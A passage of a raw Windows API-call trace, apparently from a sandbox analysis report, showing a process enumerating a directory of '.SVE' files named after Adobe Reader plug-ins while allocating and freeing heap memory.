cFileName="accessibility.SVE", cAlternateFileName="")) returned 1 [0082.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213be0 [0082.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291898 [0082.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.643] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SVE", cAlternateFileName="")) returned 1 [0082.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213c00 [0082.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291aa8 [0082.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.645] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SVE", cAlternateFileName="")) returned 1 [0082.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213c20 [0082.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12919a0 [0082.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.646] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SVE", cAlternateFileName="")) returned 1 [0082.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213c40 [0082.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291dc0 [0082.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SVE", cAlternateFileName="")) returned 1 [0082.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213c60 [0082.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291ec8 [0082.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.649] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SVE", cAlternateFileName="")) returned 1 [0082.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213c80 [0082.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1291fd0 [0082.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SVE", cAlternateFileName="")) returned 1 [0082.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213ca0 [0082.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12920d8 [0082.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.653] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SVE", cAlternateFileName="")) returned 1 [0082.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213cc0 [0082.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12921e0 [0082.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.654] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SVE", cAlternateFileName="")) returned 1 [0082.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213ce0 [0082.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12922e8 [0082.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.656] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SVE", cAlternateFileName="")) returned 1 [0082.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213d00 [0082.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12923f0 [0082.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.657] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SVE", cAlternateFileName="")) returned 1 [0082.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213d20 [0082.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12924f8 [0082.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.659] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SVE", cAlternateFileName="")) returned 1 [0082.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213d40 [0082.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292600 [0082.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.660] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SVE", cAlternateFileName="")) returned 1 [0082.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213d60 [0082.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292708 [0082.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.662] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SVE", cAlternateFileName="")) returned 1 [0082.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213d80 [0082.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292810 [0082.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.663] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SVE", cAlternateFileName="")) returned 1 [0082.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213da0 [0082.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292918 [0082.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.665] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x141800, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SVE", cAlternateFileName="")) returned 1 [0082.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213dc0 [0082.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292a20 [0082.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7140) returned 0x12a20f8 [0082.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129aff0) returned 1 [0082.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SVE", cAlternateFileName="")) returned 1 [0082.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213de0 [0082.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292b28 [0082.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.668] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SVE", cAlternateFileName="")) returned 1 [0082.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213e00 [0082.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292c30 [0082.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.672] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SVE", cAlternateFileName="")) returned 1 [0082.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213e20 [0082.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292d38 [0082.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.673] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SVE", cAlternateFileName="")) returned 1 [0082.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213e40 [0082.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292e40 [0082.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.675] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 